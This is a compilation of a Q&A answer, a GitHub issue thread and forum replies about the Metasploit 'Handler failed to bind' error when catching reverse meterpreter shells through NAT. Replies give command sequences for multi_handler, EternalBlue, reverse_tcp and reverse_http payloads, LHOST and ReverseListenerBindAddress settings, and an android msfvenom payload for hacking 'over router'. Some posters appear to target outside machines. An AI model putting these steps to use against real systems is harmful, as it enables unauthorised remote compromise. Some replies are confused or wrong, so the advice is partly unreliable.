Handler failed to bind to настройка интерфейса kali linux

Meterpreter cannot bind to external address

I have a problem with exploiting machine outside my LAN network. I tried answers from StackExchange but they didn’t work for me.

My setup of exploit: ms17_010_eternalblue

RHOST = target ip and RPORT = target port

I set the payload windows/meterpreter/reverse_tcp

LHOST = my PUBLIC ip and LPORT = my forwarded port on router.

I check the port and my external ip on canyouseeme.org and it shows that port is open.

When exploit starts it says:

On other sites it says that i must set payload lhost to external ip but then this error shows. Please provide command by command answer because I don’t have any ideas what to do. I know that handler must be set to my internal ip because it is listening for connections, but on the other side, the target must have my external ip to connect back to me.

1 Answer 1

You need the LHOST for the meterpreter to be your external IP and the LHOST for the handler to be the local IP. You can easily configure this when using multi_handler with the appropriate meterpreter payload (so that staging works).

Set the LHOST for multi_handler to be your external IP, run -j it in the background and then use whatever exploit you are using, setting the LHOST to your external IP and the correct meterpreter payload.

Setting the LHOST to the external IP will fail and instead, the handler will bind to 0.0.0.0.

Then run -j the exploit in the background and wait for the session to connect, then resume the session from the background.

( sessions -i sessionnumber where the session number comes from sessions -l )

Alternatively, you could use two consoles and not use background tasks.

These additional loopholes you have to jump through are the reason why pentesting should be done without a NAT in the way.

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[-] Handler failed to bind to xxxxxx:4444(external ip adress) #6084

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kofx commented Oct 13, 2015

hi i have an issue on multi/handler
the handler failed when i try to use an external ip.. it’s work on internal ..

[-] Handler failed to bind to 160.x.x.1x:4444
[*] Started reverse handler on 0.0.0.0:4444

[*] Starting the payload handler.

the payload was windows/meterpreter/reverse_tcp

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OJ commented Oct 13, 2015

This is not a bug, this is by design. If the public IP is not assigned to an interface on your machine, then it can’t bind to it. It falls back to 0.0.0.0 , which is «all interfaces».

kofx commented Oct 13, 2015

mm thank you OJ for the quick reply , yeah really i know it’s not a bug on metasploit but i didn’t find a solution , if you could help me or guide me to a source ..

OJ commented Oct 13, 2015

@kofx what do you need a solution to? There’s no problem here, it’s just how things work. A program can’t bind to an IP address that doesn’t exist on the machine it’s running on.

Sounds to me like your external IP is allocated to a modem/router/etc and you need to forward ports.

Corleanus commented Nov 18, 2017

I have the same problem, and although I have forwarded ports, and have been using metasploit in external network, after update I have the same problem.

h00die commented Nov 18, 2017

This is a 2yr old closed ticket. Start a new issue.
This is not a bug, that’s when you create an issue. The answer you seek is well documented. Try https://www.corelan.be/index.php/2014/01/04/metasploit-meterpreter-and-nat/ as it has your answer.
Don’t reply here, if you need HELP, go to IRC #metasploit

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85Terminator commented Jul 1, 2018 •

i am using kali linux in vmware 9 X86 so what lhost i put in the payload , is it the one in the pc or in the vmware please reply fast

bcoles commented Jul 1, 2018

@85Terminator GitHub issue tracker is for reporting bugs. It would be best to ask on #metasploit on Freednode IRC.

That said, lhost will be the IP address of Kali in VMWare. However, if the target host cannot route traffic to the virtual machine then you will not get a session. You may or may not want to bridge the virtual machine. You may or may not want to port forward a port from your router to the virtual machine. It depends where on the planet the target system is located, and what network route it will use to route packets to Metasploit.

85Terminator commented Jul 1, 2018

andresdev16 commented Jul 29, 2018

This isn’t a error or bug, you can solve trying this:

set LHOST (public ip or private, you choice were attack)
set LPORT (port, in my case 8080)
set ReverseListeningBindAddress (ip private o public)

DroneMaki commented Mar 7, 2019

@OJ I know this is not bug, but I did using a payload 3 time after that this is not work when I use payload and hit exploit so
[-]Handler failed to bind to 192.168.XX.X:2323:- —
[*] Started reverse TCP handler on 0.0.0.0:2323

basem3214 commented May 5, 2019

i have the same issus plz someone fxied

Ashwin2459B commented Jun 10, 2019

hi i have an issue on multi/handler
the handler failed when i try to use an external ip.. it’s work on internal ..

[-] Handler failed to bind to 160.x.x.1x:4444
[*] Started reverse handler on 0.0.0.0:4444

[*] Starting the payload handler.
the payload was windows/meterpreter/reverse_tcp

help me to solve this please iam running kali linux in vm ware workstation

bcoles commented Jun 10, 2019

Presumably 160.x.x.1x is not a valid IP address for any of your network interfaces.

The options you’re looking for are ReverseListenerBindAddress and ReverseListenerBindPort .

Set LHOST and LPORT to your public IP and public port. Set ReverseListenerBindAddress and ReverseListenerBindPort to your local IP and local port.

If you don’t set ReverseListenerBindAddress , and it can’t bind to LHOST , it’ll fall back on 0.0.0.0 . Make sure everything is routing correctly, and make sure your payload can egress to your handler.

That’s all. Please take support to IRC or e-mail in the future. GitHub is primarily for code contributions, bug reports, and feature requests. Thanks!

devopslinux commented Apr 1, 2020 •

The solution for me it’s
apt install bind9
service bind9 start
netstat -ntlup

hichemkanon commented May 22, 2020

the reason of this error mostly coming from mistake writing the public ip adress in where you must write the private ip adress, that happened to me and i solved it follow the exemple bellow

firstlty check your port in router if you don’t have create one
name: kali -// server ip adress (your private ip of device «ifconfig») /// — tcp — //// PORT: 8080 or any port you choose .

if you want hack over router .

then when you create/bind payload using msfvenom or any other tool
1 — for exemple ; android/meterpreter/reverse_http
2 — set lhost «public ip — get it from here https://whatismyipaddress.com »
3 — set lport (the port that you opened in router)

and when you open the meterpreter write :

1— use exploit/multi/handler
2— set payload android/meterpreter/reverse_http
3— set lhost (((here you write your personal/private ip «get it from ifconfig»)
4— set lport (((here you write the port that you opened in router)))))
5— exploit

that is the correct way which will work correctly with you

sunnyrud commented Apr 28, 2021

@kofx what do you need a solution to? There’s no problem here, it’s just how things work. A program can’t bind to an IP address that doesn’t exist on the machine it’s running on.

Sounds to me like your external IP is allocated to a modem/router/etc and you need to forward ports.

sunnyrud commented Apr 28, 2021

the reason of this error mostly coming from mistake writing the public ip adress in where you must write the private ip adress, that happened to me and i solved it follow the exemple bellow

firstlty check your port in router if you don’t have create one
name: kali -// server ip adress (your private ip of device «ifconfig») /// — tcp — //// PORT: 8080 or any port you choose .

if you want hack over router .

then when you create/bind payload using msfvenom or any other tool
1 — for exemple ; android/meterpreter/reverse_http
2 — set lhost «public ip — get it from here https://whatismyipaddress.com »
3 — set lport (the port that you opened in router)

and when you open the meterpreter write :

1— use exploit/multi/handler
2— set payload android/meterpreter/reverse_http
3— set lhost (((here you write your personal/private ip «get it from ifconfig»)
4— set lport (((here you write the port that you opened in router)))))
5— exploit

that is the correct way which will work correctly with you

again same issue can you give your whatsapp num i can contact

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Metasploit Error : Handler Failed to Bind

Whenever i try to set a multi handler this error occurs.
It Used to work for me but not working anymore
I thought that the port is still listening so i try to close it with Kill command but it didn’t work for me so try fuser command but both didn’t work for me please help what to do?

thanks in advance for helping

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39 Responses

Try doing this on a different network and see how the results vary. If you still have the issue, I’m sure you’ll find your answer on this forum in a matter of hours.

Hope this comment helps you out —
-Cameron Glass

you can do it with your public ip but you must configure your router

How to exactly do that?

It happened to me too.. but I ignored the error and it still worked

Try another port (I use 8080)

It’s because you computer can’t contact your external ip (maybe because it redirects to the gateway) but if you port forwarded it then it should work, Same thing happens to me

Are you sure that is the correct IP address for your kali box? The handler seems to not be able to bind to that address. Is something else running on that address? When it then binds to 0.0.0.0 do you still get your meterpreter session?

can anyone please help me i have put all the ip at lhost my external my internal but it is not working.

Thanks Guys for the help, i don’t know what was the problem but it’s working now.

i got the same problem but i cant fix it please help :'(

I had the same problem and it all was because my LapTop ip had changed. I had portforwarded it with 192.168.1.100 but it had changed to 192.168.1.101. Then I changed the ip for the portforwarding again, and it worked.

Thanks, I had the same problem

I’m using metasploit, but getting error like this » Handler failed to bind to 123.34.45.45:4444″
How to resolve this?
Can you help me please .

Try scaning your own IP addres using #nmap that will show you all you open port

• Handler failed to bind to 192.168.0.1:1900:- —

Started reverse TCP handler on 0.0.0.0:1900
* Starting the payload handler.

I tried all the ports, 4444, 8080, 8888 and many more..
same error each time.
Help Please

it might just mean it’s not vulnerable/exploitable. I get this error all the damn time.

• Handler failed to bind to xxxxxx:8080(external ip adress) 🙁 what should i do please

I think you should check if your port is open.

use exploit/multi/handler
set payload to the 1 you want, make sure its, Reverse TCP
set LHOST ( Your External IP
set LPORT ( Port You Want To Use )
set ReverseListeningBindAddress ( Your Local Machine IP Address )
exploit -j -z

It still use’s you external IP, but it binds to your local IP
Also make sure, that you are connected to you MAIN router/modem
And also make sure that the port you want to use is PortForwarded in some way

no work bro . but thank you

Any help will be appriciated :

didnt work for me it giving me failed to bind any suggestions guys! thnx

As the others already said, check for the IP etc. If it all doesn’t work, switch the network driver off and on again to kill all bindings. If it still doesn’t work, reboot.

Try to use another port for multi/handler
I use 4444 or 8080

This happen if you don’t use your kali machine private IP address ,Please use private IP address when setting LHOST in msfconsole .

The private IP can be seen in connection properties.
Here is the Screen shot.

can anyone please help me i have put all the ip at lhost my external my internal but it is not working i have used all the ports every possible thing but i am not able to open the meterpreter session

If you’re using Metasploit on AWS you need to use the long DNS for lhost like -> ec2-30-54-. us-west. compute.amazonaws.com

Help me please . i want to resolve this..thanks

Same problem for me..help me how to solve this .

In your case the port you are using is already in use by another service so while creating the payload first check that the port you are using is free or not. To do so you have to write the command :-

lsof -t -i:Port Number
For example lsof -t -i:8080

If nothing shows up after running this command that means the port is free. If any number shows up then it means that port is currently being used by another service.

So you can use any other port which is free it will solve your problem.

handler failed
soo plz help me
how to solve.

i got the same problem but i cant fix it please help

Disconnect your router then connect with your hotspot,Restart the whole process ,Then if it happens again let me know

Go to this post I explained everything clearly :

thx. Real useful!

i’m using metasploit on termux app but this same broblem so plz help me

For me the problem was a misunderstanding, insteand of giving MY ip address (the PC who is generating the atack) I was entering the victim’s ip (my windows ip) . The ip is set in order to receive the informaitions on it, so you want yours to be. I hope I’ve helped someone else.

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